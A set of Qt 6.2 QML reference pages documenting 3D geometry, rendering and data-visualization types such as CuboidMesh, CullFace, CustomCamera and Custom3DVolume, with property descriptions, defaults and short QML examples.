 ###  from : [coordinate](qml-coordinate)

 This property holds the coordinate where the animation should begin.

 ###  to : [coordinate](qml-coordinate)

 This property holds the coordinate where the animation should end.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtpositioning-coordinateanimation.html>

CoreSettings QML Type
=====================

 The CoreSettings class holds settings related to core data handling process. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Since: |  Qt 6.0 |
|  Instantiates: | [QCoreSettings](qt3dcore-qcoresettings) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-coresettings-members.html)

 Properties
----------

 * **[boundingVolumesEnabled](qml-qt3d-core-coresettings#boundingVolumesEnabled-prop)** : bool

 Detailed Description
--------------------

 The CoreSettings component should be set as a component of the scene root entity (although it could be anywhere in the scene graph). There should be a single instance.

 It can be used to control some of Qt 3D's behavior.

 Property Documentation
----------------------

 ###  boundingVolumesEnabled : [bool](qml-bool)

 Holds whether bounding volumes handling is enabled. This is true by default. Disabling this allows to reduce the amount of computations performed each frame. If you are using picking or frustum culling you should keep this enabled (even when providing explicit bounding volumes sizes using [BoundingVolume](qml-qt3d-core-boundingvolume)).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-coresettings.html>

CuboidGeometry QML Type
=======================

 CuboidGeometry allows creation of a cuboid in 3D space. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QCuboidGeometry](qt3dextras-qcuboidgeometry) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-cuboidgeometry-members.html)

 Properties
----------

 * **[indexAttribute](qml-qt3d-extras-cuboidgeometry#indexAttribute-prop)** : Attribute
* **[normalAttribute](qml-qt3d-extras-cuboidgeometry#normalAttribute-prop)** : Attribute
* **[positionAttribute](qml-qt3d-extras-cuboidgeometry#positionAttribute-prop)** : Attribute
* **[tangentAttribute](qml-qt3d-extras-cuboidgeometry#tangentAttribute-prop)** : Attribute
* **[texCoordAttribute](qml-qt3d-extras-cuboidgeometry#texCoordAttribute-prop)** : Attribute
* **[xExtent](qml-qt3d-extras-cuboidgeometry#xExtent-prop)** : real
* **[xyMeshResolution](qml-qt3d-extras-cuboidgeometry#xyMeshResolution-prop)** : size
* **[xzMeshResolution](qml-qt3d-extras-cuboidgeometry#xzMeshResolution-prop)** : size
* **[yExtent](qml-qt3d-extras-cuboidgeometry#yExtent-prop)** : real
* **[yzMeshResolution](qml-qt3d-extras-cuboidgeometry#yzMeshResolution-prop)** : size
* **[zExtent](qml-qt3d-extras-cuboidgeometry#zExtent-prop)** : real

 Detailed Description
--------------------

 The CuboidGeometry type is most commonly used internally by the [CuboidMesh](qml-qt3d-extras-cuboidmesh) type but can also be used in custom [GeometryRenderer](qml-qt3d-render-geometryrenderer) types.

 Property Documentation
----------------------

 ###  indexAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry index attribute.

 ###  normalAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry normal attribute.

 ###  positionAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry position attribute.

 ###  tangentAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry tangent attribute.

 ###  texCoordAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry texture coordinate attribute.

 ###  xExtent : [real](qml-real)

 Holds the x extent of the geometry.

 ###  xyMeshResolution : [size](qml-size)

 Holds the x-y resolution. The width and height values of this property specify the number of vertices generated for the x-y faces of the mesh.

 ###  xzMeshResolution : [size](qml-size)

 Holds the x-z resolution. The width and height values of this property specify the number of vertices generated for the x-z faces of the mesh.

 ###  yExtent : [real](qml-real)

 Holds the y extent of the geometry.

 ###  yzMeshResolution : [size](qml-size)

 Holds the y-z resolution. The width and height values of this property specify the number of vertices generated for the y-z faces of the mesh.

 ###  zExtent : [real](qml-real)

 Holds the z extent of the geometry.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-cuboidgeometry.html>

CuboidGeometryView QML Type
===========================

 A cuboid mesh. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QCuboidGeometryView](qt3dextras-qcuboidgeometryview) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-cuboidgeometryview-members.html)

 Properties
----------

 * **[xExtent](qml-qt3d-extras-cuboidgeometryview#xExtent-prop)** : real
* **[xyMeshResolution](qml-qt3d-extras-cuboidgeometryview#xyMeshResolution-prop)** : size
* **[xzMeshResolution](qml-qt3d-extras-cuboidgeometryview#xzMeshResolution-prop)** : size
* **[yExtent](qml-qt3d-extras-cuboidgeometryview#yExtent-prop)** : real
* **[yzMeshResolution](qml-qt3d-extras-cuboidgeometryview#yzMeshResolution-prop)** : size
* **[zExtent](qml-qt3d-extras-cuboidgeometryview#zExtent-prop)** : real

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  xExtent : [real](qml-real)

 Holds the x extent of the mesh.

 ###  xyMeshResolution : [size](qml-size)

 Holds the x-y resolution of the mesh. The width and height values of this property specify the number of vertices generated for the x-y faces of the mesh.

 ###  xzMeshResolution : [size](qml-size)

 Holds the x-z resolution of the mesh. The width and height values of this property specify the number of vertices generated for the x-z faces of the mesh.

 ###  yExtent : [real](qml-real)

 Holds the y extent of the mesh.

 ###  yzMeshResolution : [size](qml-size)

 Holds the y-z resolution of the mesh. The width and height values of this property specify the number of vertices generated for the y-z faces of the mesh.

 ###  zExtent : [real](qml-real)

 Holds the z extent of the mesh.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-cuboidgeometryview.html>

CuboidMesh QML Type
===================

 A cuboid mesh. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QCuboidMesh](qt3dextras-qcuboidmesh) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-cuboidmesh-members.html)

 Properties
----------

 * **[xExtent](qml-qt3d-extras-cuboidmesh#xExtent-prop)** : real
* **[xyMeshResolution](qml-qt3d-extras-cuboidmesh#xyMeshResolution-prop)** : size
* **[xzMeshResolution](qml-qt3d-extras-cuboidmesh#xzMeshResolution-prop)** : size
* **[yExtent](qml-qt3d-extras-cuboidmesh#yExtent-prop)** : real
* **[yzMeshResolution](qml-qt3d-extras-cuboidmesh#yzMeshResolution-prop)** : size
* **[zExtent](qml-qt3d-extras-cuboidmesh#zExtent-prop)** : real

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  xExtent : [real](qml-real)

 Holds the x extent of the mesh.

 ###  xyMeshResolution : [size](qml-size)

 Holds the x-y resolution of the mesh. The width and height values of this property specify the number of vertices generated for the x-y faces of the mesh.

 ###  xzMeshResolution : [size](qml-size)

 Holds the x-z resolution of the mesh. The width and height values of this property specify the number of vertices generated for the x-z faces of the mesh.

 ###  yExtent : [real](qml-real)

 Holds the y extent of the mesh.

 ###  yzMeshResolution : [size](qml-size)

 Holds the y-z resolution of the mesh. The width and height values of this property specify the number of vertices generated for the y-z faces of the mesh.

 ###  zExtent : [real](qml-real)

 Holds the z extent of the mesh.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-cuboidmesh.html>

CullFace QML Type
=================

 The CullFace type specifies whether front or back face culling is enabled. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QCullFace](qt3drender-qcullface) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-cullface-members.html)

 Properties
----------

 * **[mode](qml-qt3d-render-cullface#mode-prop)** : enumeration

 Detailed Description
--------------------

 CullFace sets whether the front or back facets are culled. Facets include triangles, quadrilaterals, polygons and rectangles.

 It can be added to the renderStates property of a [RenderPass](qml-qt3d-render-renderpass):

 
```
RenderPass {
    shaderProgram: ShaderProgram {
        // ...
    }
    renderStates: [
        CullFace {
            mode: CullFace.Front
        }
    ]
}
```
 Or added to the renderStates property of a [RenderStateSet](qml-qt3d-render-renderstateset):

 
```
RenderStateSet {
    renderStates: [
        CullFace {
            mode: CullFace.Front
        }
    ]
}
```
 **See also** [FrontFace](qml-qt3d-render-frontface).

 Property Documentation
----------------------

 ###  mode : [enumeration](qml-enumeration)

 Holds the culling mode used by [CullFace](qml-qt3d-render-cullface). Default is set to QCullFace.Back.

 * [CullFace](qml-qt3d-render-cullface).NoCulling - culling is disabled
* [CullFace](qml-qt3d-render-cullface).Front - culling is enabled for front facing polygons
* [CullFace](qml-qt3d-render-cullface).Back - culling is enabled for back facing polygons
* [CullFace](qml-qt3d-render-cullface).FrontAndBack - culling is enabled for all polygons, but points and lines are drawn



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-cullface.html>

Custom3DItem QML Type
=====================

 Adds a custom item to a graph. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.1 |
|  Instantiates: | [QCustom3DItem](qcustom3ditem) |
|  Inherited By: | [Custom3DLabel](qml-qtdatavisualization-custom3dlabel) and [Custom3DVolume](qml-qtdatavisualization-custom3dvolume) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-custom3ditem-members.html)

 Properties
----------

 * **[meshFile](qml-qtdatavisualization-custom3ditem#meshFile-prop)** : string
* **[position](qml-qtdatavisualization-custom3ditem#position-prop)** : vector3d
* **[positionAbsolute](qml-qtdatavisualization-custom3ditem#positionAbsolute-prop)** : bool
* **[rotation](qml-qtdatavisualization-custom3ditem#rotation-prop)** : quaternion
* **[scaling](qml-qtdatavisualization-custom3ditem#scaling-prop)** : vector3d
* **[scalingAbsolute](qml-qtdatavisualization-custom3ditem#scalingAbsolute-prop)** : bool
* **[shadowCasting](qml-qtdatavisualization-custom3ditem#shadowCasting-prop)** : bool
* **[textureFile](qml-qtdatavisualization-custom3ditem#textureFile-prop)** : string
* **[visible](qml-qtdatavisualization-custom3ditem#visible-prop)** : bool

 Methods
-------

 * void **[setRotationAxisAndAngle](qml-qtdatavisualization-custom3ditem#setRotationAxisAndAngle-method)**(vector3d *axis*, real *angle*)

 Detailed Description
--------------------

 A custom item has a custom mesh, position, scaling, rotation, and an optional texture.

 Property Documentation
----------------------

 ###  meshFile : [string](qml-string)

 The item mesh file name. The item in the file must be in Wavefront OBJ format and include vertices, normals, and UVs. It also needs to be in triangles.

 ###  position : [vector3d](qml-vector3d)

 The item position as a [vector3d](qml-vector3d) type. Defaults to `vector3d(0.0, 0.0, 0.0)`.

 Item position is specified either in data coordinates or in absolute coordinates, depending on the value of the [positionAbsolute](qml-qtdatavisualization-custom3ditem#positionAbsolute-prop) property. When using absolute coordinates, values between `-1.0...1.0` are within axis ranges.

  **Note:** Items positioned outside any axis range are not rendered if [positionAbsolute](qml-qtdatavisualization-custom3ditem#positionAbsolute-prop) is `false`, unless the item is a [Custom3DVolume](qml-qtdatavisualization-custom3dvolume) that would be partially visible and [scalingAbsolute](qml-qtdatavisualization-custom3ditem#scalingAbsolute-prop) is also `false`. In that case, the visible portion of the volume will be rendered.

  **See also** [positionAbsolute](qml-qtdatavisualization-custom3ditem#positionAbsolute-prop) and [scalingAbsolute](qml-qtdatavisualization-custom3ditem#scalingAbsolute-prop).

 ###  positionAbsolute : [bool](qml-bool)

 Defines whether item position is to be handled in data coordinates or in absolute coordinates. Defaults to `false`. Items with absolute coordinates will always be rendered, whereas items with data coordinates are only rendered if they are within axis ranges.

 **See also** [position](qml-qtdatavisualization-custom3ditem#position-prop).

 ###  rotation : [quaternion](qml-quaternion)

 The item rotation as a [quaternion](qml-quaternion). Defaults to `quaternion(0.0, 0.0, 0.0, 0.0)`.

 ###  scaling : [vector3d](qml-vector3d)

 The item scaling as a [vector3d](qml-vector3d) type. Defaults to `vector3d(0.1, 0.1, 0.1)`.

 Item scaling is specified either in data values or in absolute values, depending on the value of the [scalingAbsolute](qml-qtdatavisualization-custom3ditem#scalingAbsolute-prop) property. The default vector interpreted as absolute values sets the item to 10% of the height of the graph, provided the item mesh is normalized and the graph aspect ratios have not been changed from the defaults.

 **See also** [scalingAbsolute](qml-qtdatavisualization-custom3ditem#scalingAbsolute-prop).

 ###  [since QtDataVisualization 1.2] scalingAbsolute : [bool](qml-bool)

 Defines whether item scaling is to be handled in data values or in absolute values. Defaults to `true`. Items with absolute scaling will be rendered at the same size, regardless of axis ranges. Items with data scaling will change their apparent size according to the axis ranges. If [positionAbsolute](qml-qtdatavisualization-custom3ditem#positionAbsolute-prop) is `true`, this property is ignored and scaling is interpreted as an absolute value. If the item has rotation, the data scaling is calculated on the unrotated item. Similarly, for [Custom3DVolume](qml-qtdatavisualization-custom3dvolume) items, the range clipping is calculated on the unrotated item.

  **Note:** Only absolute scaling is supported for [Custom3DLabel](qml-qtdatavisualization-custom3dlabel) items or for custom items used in [polar](qml-qtdatavisualization-abstractgraph3d#polar-prop) graphs.

   **Note:** The custom item's mesh must be normalized to the range `[-1 ,1]`, or the data scaling will not be accurate.

  This property was introduced in QtDataVisualization 1.2.

 **See also** [scaling](qml-qtdatavisualization-custom3ditem#scaling-prop) and [positionAbsolute](qml-qtdatavisualization-custom3ditem#positionAbsolute-prop).

 ###  shadowCasting : [bool](qml-bool)

 Defines whether shadow casting for the item is enabled. Defaults to `true`. If `false`, the item does not cast shadows regardless of [ShadowQuality](qabstract3dgraph#ShadowQuality-enum).

 ###  textureFile : [string](qml-string)

 The texture file name for the item. If left unset, a solid gray texture will be used.

  **Note:** To conserve memory, the [QImage](qimage) loaded from the file is cleared after a texture is created.

  ###  visible : [bool](qml-bool)

 The visibility of the item. Defaults to `true`.

 Method Documentation
--------------------

 ###  void setRotationAxisAndAngle([vector3d](qml-vector3d) *axis*, [real](qml-real) *angle*)

 A convenience function to construct the rotation quaternion from *axis* and *angle*.

 **See also** [rotation](qml-qtdatavisualization-custom3ditem#rotation-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-custom3ditem.html>

Custom3DLabel QML Type
======================

 Adds a custom label to a graph. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.1 |
|  Instantiates: | [QCustom3DLabel](qcustom3dlabel) |
|  Inherits: | [Custom3DItem](qml-qtdatavisualization-custom3ditem) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-custom3dlabel-members.html)

 Properties
----------

 * **[backgroundColor](qml-qtdatavisualization-custom3dlabel#backgroundColor-prop)** : color
* **[backgroundEnabled](qml-qtdatavisualization-custom3dlabel#backgroundEnabled-prop)** : bool
* **[borderEnabled](qml-qtdatavisualization-custom3dlabel#borderEnabled-prop)** : bool
* **[facingCamera](qml-qtdatavisualization-custom3dlabel#facingCamera-prop)** : bool
* **[font](qml-qtdatavisualization-custom3dlabel#font-prop)** : font
* **[text](qml-qtdatavisualization-custom3dlabel#text-prop)** : string
* **[textColor](qml-qtdatavisualization-custom3dlabel#textColor-prop)** : color

 Detailed Description
--------------------

 The text, font, position, scaling, rotation, and colors of a custom label can be set. In addition, the visibility of the borders and background of the label can be toggled. Colors, borders, and background are determined by the active theme unless set explicitly.

  **Note:** In scaling, the z-coordinate has no effect. Setting the same x- and y-coordinates retains the original font dimensions.

  Property Documentation
----------------------

 ###  backgroundColor : [color](qml-color)

 The color for the label background, if enabled. Defaults to `"gray"`.

 **See also** [backgroundEnabled](qml-qtdatavisualization-custom3dlabel#backgroundEnabled-prop).

 ###  backgroundEnabled : [bool](qml-bool)

 Defines whether the label background is enabled. If set to `false`, [backgroundColor](qml-qtdatavisualization-custom3dlabel#backgroundColor-prop) has no effect. Defaults to `true`.

 ###  borderEnabled : [bool](qml-bool)

 Defines whether label borders are enabled. Defaults to `true`.

 ###  facingCamera : [bool](qml-bool)

 Defines whether the label will always face the camera. Defaults to `false`. If set to `true`, [rotation](qcustom3ditem#rotation-prop) has no effect.

 ###  font : [font](qml-font)

 The font to be used for the label. Defaults to `Font {family: "Arial"; pointSize: 20}`. Special formatting (for example, outlined) is not supported.

 ###  text : [string](qml-string)

 The text for the label. Rich text is not supported.

 ###  textColor : [color](qml-color)

 The color for the label text. Also affects label border, if enabled. Defaults to `"white"`.

 **See also** [borderEnabled](qml-qtdatavisualization-custom3dlabel#borderEnabled-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-custom3dlabel.html>

CustomCamera QML Type
=====================

 Defines a Camera with a custom projection matrix. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Inherits: | [Camera](qml-qtquick3d-camera) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-customcamera-members.html)

 Properties
----------

 * **[projection](qml-qtquick3d-customcamera#projection-prop)** : matrix4x4

 Detailed Description
--------------------

 A [Camera](https://doc.qt.io/qt-6.2/qtquick3d-intro-example.html#camera) defines how the content of the 3D scene is projected onto a 2D surface, such as a [View3D](qml-qtquick3d-view3d). A scene needs at least one [Camera](https://doc.qt.io/qt-6.2/qtquick3d-intro-example.html#camera) in order to visualize its contents.

 It is possible to position and rotate the [Camera](https://doc.qt.io/qt-6.2/qtquick3d-intro-example.html#camera) like any other spatial [Node](qml-qtquick3d-node) in the scene. The [Node](qml-qtquick3d-node)'s location and orientation determines where the [Camera](https://doc.qt.io/qt-6.2/qtquick3d-intro-example.html#camera) is in the scene, and what direction it is facing. The default orientation of the [Camera](https://doc.qt.io/qt-6.2/qtquick3d-intro-example.html#camera) has its forward vector pointing along the negative Z axis and its up vector along the positive Y axis.

 The CustomCamera type provides a [Camera](https://doc.qt.io/qt-6.2/qtquick3d-intro-example.html#camera) where the projection matrix can be customized freely.

 The following example creates a CustomCamera at position [0, 200, 300] in the scene, with a 30 degree downward pitch, and a custom projection matrix based on custom near and far plane distances, and a custom field of view.

 
```
CustomCamera {
    position: Qt.vector3d(0, 200, 300)
    eulerRotation.x: -30

    property real near: 10.0
    property real far: 10000.0
    property real fov: 60.0 * Math.PI / 180.0
    projection: Qt.matrix4x4(Math.cos(fov / 2) / Math.sin(fov / 2) * (window.height / window.width), 0, 0, 0,
                             0, Math.cos(fov / 2) / Math.sin(fov / 2), 0, 0,
                             0, 0, -(near + far) / (far - near), -(2.0 * near * far) / (far - near),
                             0, 0, -1, 0);
}
```
 **See also** [PerspectiveCamera](qml-qtquick3d-perspectivecamera), [OrthographicCamera](qml-qtquick3d-orthographiccamera), and [FrustumCamera](qml-qtquick3d-frustumcamera).

 Property Documentation
----------------------

 ###  projection : [matrix4x4](qml-matrix4x4)

 This property defines the [CustomCamera](qml-qtquick3d-customcamera)'s projection matrix.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-customcamera.html>

CylinderGeometry QML Type
=========================

 CylinderGeometry allows creation of a cylinder in 3D space. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QCylinderGeometry](qt3dextras-qcylindergeometry) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-cylindergeometry-members.html)

 Properties
----------

 * **[indexAttribute](qml-qt3d-extras-cylindergeometry#indexAttribute-prop)** : Attribute
* **[length](qml-qt3d-extras-cylindergeometry#length-prop)** : real
* **[normalAttribute](qml-qt3d-extras-cylindergeometry#normalAttribute-prop)** : Attribute
* **[positionAttribute](qml-qt3d-extras-cylindergeometry#positionAttribute-prop)** : Attribute
* **[radius](qml-qt3d-extras-cylindergeometry#radius-prop)** : real
* **[rings](qml-qt3d-extras-cylindergeometry#rings-prop)** : int
* **[slices](qml-qt3d-extras-cylindergeometry#slices-prop)** : int
* **[texCoordAttribute](qml-qt3d-extras-cylindergeometry#texCoordAttribute-prop)** : Attribute

 Detailed Description
--------------------

 The CylinderGeometry type is most commonly used internally by the [CylinderMesh](qml-qt3d-extras-cylindermesh) type but can also be used in custom [GeometryRenderer](qml-qt3d-render-geometryrenderer) types.

 Property Documentation
----------------------

 ###  indexAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry index attribute.

 ###  length : [real](qml-real)

 Holds the length of the cylinder.

 ###  normalAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry normal attribute.

 ###  positionAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry position attribute.

 ###  radius : [real](qml-real)

 Holds the radius of the cylinder.

 ###  rings : [int](qml-int)

 Holds the number of rings in the cylinder.

 ###  slices : [int](qml-int)

 Holds the number of slices in the cylinder.

 ###  texCoordAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry texture coordinate attribute.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-cylindergeometry.html>

Custom3DVolume QML Type
=======================

 Adds a volume rendered object to a graph. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.2 |
|  Instantiates: | [QCustom3DVolume](qcustom3dvolume) |
|  Inherits: | [Custom3DItem](qml-qtdatavisualization-custom3ditem) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-custom3dvolume-members.html)

 Properties
----------

 * **[alphaMultiplier](qml-qtdatavisualization-custom3dvolume#alphaMultiplier-prop)** : real
* **[drawSliceFrames](qml-qtdatavisualization-custom3dvolume#drawSliceFrames-prop)** : bool
* **[drawSlices](qml-qtdatavisualization-custom3dvolume#drawSlices-prop)** : bool
* **[preserveOpacity](qml-qtdatavisualization-custom3dvolume#preserveOpacity-prop)** : bool
* **[sliceFrameColor](qml-qtdatavisualization-custom3dvolume#sliceFrameColor-prop)** : color
* **[sliceFrameGaps](qml-qtdatavisualization-custom3dvolume#sliceFrameGaps-prop)** : vector3d
* **[sliceFrameThicknesses](qml-qtdatavisualization-custom3dvolume#sliceFrameThicknesses-prop)** : vector3d
* **[sliceFrameWidths](qml-qtdatavisualization-custom3dvolume#sliceFrameWidths-prop)** : vector3d
* **[sliceIndexX](qml-qtdatavisualization-custom3dvolume#sliceIndexX-prop)** : int
* **[sliceIndexY](qml-qtdatavisualization-custom3dvolume#sliceIndexY-prop)** : int
* **[sliceIndexZ](qml-qtdatavisualization-custom3dvolume#sliceIndexZ-prop)** : int
* **[textureDepth](qml-qtdatavisualization-custom3dvolume#textureDepth-prop)** : int
* **[textureHeight](qml-qtdatavisualization-custom3dvolume#textureHeight-prop)** : int
* **[textureWidth](qml-qtdatavisualization-custom3dvolume#textureWidth-prop)** : int
* **[useHighDefShader](qml-qtdatavisualization-custom3dvolume#useHighDefShader-prop)** : bool

 Detailed Description
--------------------

 A volume rendered object is a box with a 3D texture. Three slice planes are supported for the volume, one along each main axis of the volume.

 Rendering volume objects is very performance intensive, especially when the volume is largely transparent, as the contents of the volume are ray-traced. The performance scales nearly linearly with the amount of pixels that the volume occupies on the screen, so showing the volume in a smaller view or limiting the zoom level of the graph are easy ways to improve performance. Similarly, the volume texture dimensions have a large impact on performance. If the frame rate is more important than pixel-perfect rendering of the volume contents, consider turning the high definition shader off by setting the [useHighDefShader](qml-qtdatavisualization-custom3dvolume#useHighDefShader-prop) property to `false`.

  **Note:** Filling in the volume data would not typically be efficient or practical from pure QML, so properties directly related to that are not fully supported from QML. Create a hybrid QML/C++ application if you want to use volume objects with a Qt Quick UI.

   **Note:** Volumetric objects are only supported with orthographic projection.

   **Note:** Volumetric objects utilize 3D textures, which are not supported in OpenGL ES2 environments.

  **See also** [AbstractGraph3D::orthoProjection](qml-qtdatavisualization-abstractgraph3d#orthoProjection-prop) and [useHighDefShader](qml-qtdatavisualization-custom3dvolume#useHighDefShader-prop).

 Property Documentation
----------------------

 ###  alphaMultiplier : [real](qml-real)

 The alpha value of every texel of the volume texture is multiplied with this value at the render time. This can be used to introduce uniform transparency to the volume. If [preserveOpacity](qml-qtdatavisualization-custom3dvolume#preserveOpacity-prop) is `true`, only texels with at least some transparency to begin with are affected, and fully opaque texels are not affected. The value must not be negative. Defaults to `1.0`.

 **See also** [preserveOpacity](qml-qtdatavisualization-custom3dvolume#preserveOpacity-prop).

 ###  drawSliceFrames : [bool](qml-bool)

 If this property value is `true`, the frames of slices indicated by slice index properties will be drawn around the volume. If it is `false`, no slice frames will be drawn. Drawing slice frames is independent of drawing slices, so you can show the full volume and still draw the slice frames around it. Defaults to `false`.

 **See also** [sliceIndexX](qml-qtdatavisualization-custom3dvolume#sliceIndexX-prop), [sliceIndexY](qml-qtdatavisualization-custom3dvolume#sliceIndexY-prop), [sliceIndexZ](qml-qtdatavisualization-custom3dvolume#sliceIndexZ-prop), and [drawSlices](qml-qtdatavisualization-custom3dvolume#drawSlices-prop).

 ###  drawSlices : [bool](qml-bool)

 If this property value is `true`, the slices indicated by slice index properties will be drawn instead of the full volume. If it is `false`, the full volume will always be drawn. Defaults to `false`.

  **Note:** The slices are always drawn along the item axes, so if the item is rotated, the slices are rotated as well.

  **See also** [sliceIndexX](qml-qtdatavisualization-custom3dvolume#sliceIndexX-prop), [sliceIndexY](qml-qtdatavisualization-custom3dvolume#sliceIndexY-prop), and [sliceIndexZ](qml-qtdatavisualization-custom3dvolume#sliceIndexZ-prop).

 ###  preserveOpacity : [bool](qml-bool)

 If this property value is `true`, [alphaMultiplier](qml-qtdatavisualization-custom3dvolume#alphaMultiplier-prop) is only applied to texels that already have some transparency. If it is `false`, the multiplier is applied to the alpha value of all texels. Defaults to `true`.

 **See also** [alphaMultiplier](qml-qtdatavisualization-custom3dvolume#alphaMultiplier-prop).

 ###  sliceFrameColor : [color](qml-color)

 The color of the slice frame. Transparent slice frame color is not supported.

 Defaults to black.

 **See also** [drawSliceFrames](qml-qtdatavisualization-custom3dvolume#drawSliceFrames-prop).

 ###  sliceFrameGaps : [vector3d](qml-vector3d)

 The size of the air gap left between the volume itself and the frame in each dimension. The gap can be different on different dimensions. The values are fractions of the volume thickness in the same dimension. The values cannot be negative.

 Defaults to `vector3d(0.01, 0.01, 0.01)`.

 **See also** [drawSliceFrames](qml-qtdatavisualization-custom3dvolume#drawSliceFrames-prop).

 ###  sliceFrameThicknesses : [vector3d](qml-vector3d)

 The thickness of the slice frames for each dimension. The values are fractions of the volume thickness in the same dimension. The values cannot be negative.

 Defaults to `vector3d(0.01, 0.01, 0.01)`.

 **See also** [drawSliceFrames](qml-qtdatavisualization-custom3dvolume#drawSliceFrames-prop).

 ###  sliceFrameWidths : [vector3d](qml-vector3d)

 The widths of the slice frame. The width can be different on different dimensions, so you can for example omit drawing the frames on certain sides of the volume by setting the value for that dimension to zero. The values are fractions of the volume thickness in the same dimension. The values cannot be negative.

 Defaults to `vector3d(0.01, 0.01, 0.01)`.

 **See also** [drawSliceFrames](qml-qtdatavisualization-custom3dvolume#drawSliceFrames-prop).

 ###  sliceIndexX : [int](qml-int)

 The x-dimension index into the texture data indicating which vertical slice to show. Setting any dimension to negative indicates no slice or slice frame for that dimension is drawn. If all dimensions are negative, no slices or slice frames are drawn and the volume is drawn normally. Defaults to `-1`.

 **See also** [QCustom3DVolume::textureData](qcustom3dvolume#textureData-prop), [drawSlices](qml-qtdatavisualization-custom3dvolume#drawSlices-prop), and [drawSliceFrames](qml-qtdatavisualization-custom3dvolume#drawSliceFrames-prop).

 ###  sliceIndexY : [int](qml-int)

 The y-dimension index into the texture data indicating which horizontal slice to show. Setting any dimension to negative indicates no slice or slice frame for that dimension is drawn. If all dimensions are negative, no slices or slice frames are drawn and the volume is drawn normally. Defaults to `-1`.

 **See also** [QCustom3DVolume::textureData](qcustom3dvolume#textureData-prop), [drawSlices](qml-qtdatavisualization-custom3dvolume#drawSlices-prop), and [drawSliceFrames](qml-qtdatavisualization-custom3dvolume#drawSliceFrames-prop).

 ###  sliceIndexZ : [int](qml-int)

 The z-dimension index into the texture data indicating which vertical slice to show. Setting any dimension to negative indicates no slice or slice frame for that dimension is drawn. If all dimensions are negative, no slices or slice frames are drawn and the volume is drawn normally. Defaults to `-1`.

 **See also** [QCustom3DVolume::textureData](qcustom3dvolume#textureData-prop), [drawSlices](qml-qtdatavisualization-custom3dvolume#drawSlices-prop), and [drawSliceFrames](qml-qtdatavisualization-custom3dvolume#drawSliceFrames-prop).

 ###  textureDepth : [int](qml-int)

 The depth of the 3D texture defining the volume content in pixels. Defaults to `0`.

  **Note:** Changing this property from QML is not supported, as the texture data cannot be resized accordingly.

  ###  textureHeight : [int](qml-int)

 The height of the 3D texture defining the volume content in pixels. Defaults to `0`.

  **Note:** Changing this property from QML is not supported, as the texture data cannot be resized accordingly.

  ###  textureWidth : [int](qml-int)

 The width of the 3D texture defining the volume content in pixels. Defaults to `0`.

  **Note:** Changing this property from QML is not supported, as the texture data cannot be resized accordingly.

  ###  useHighDefShader : [bool](qml-bool)

 If this property value is `true`, a high definition shader is used to render the volume. If it is `false`, a low definition shader is used.

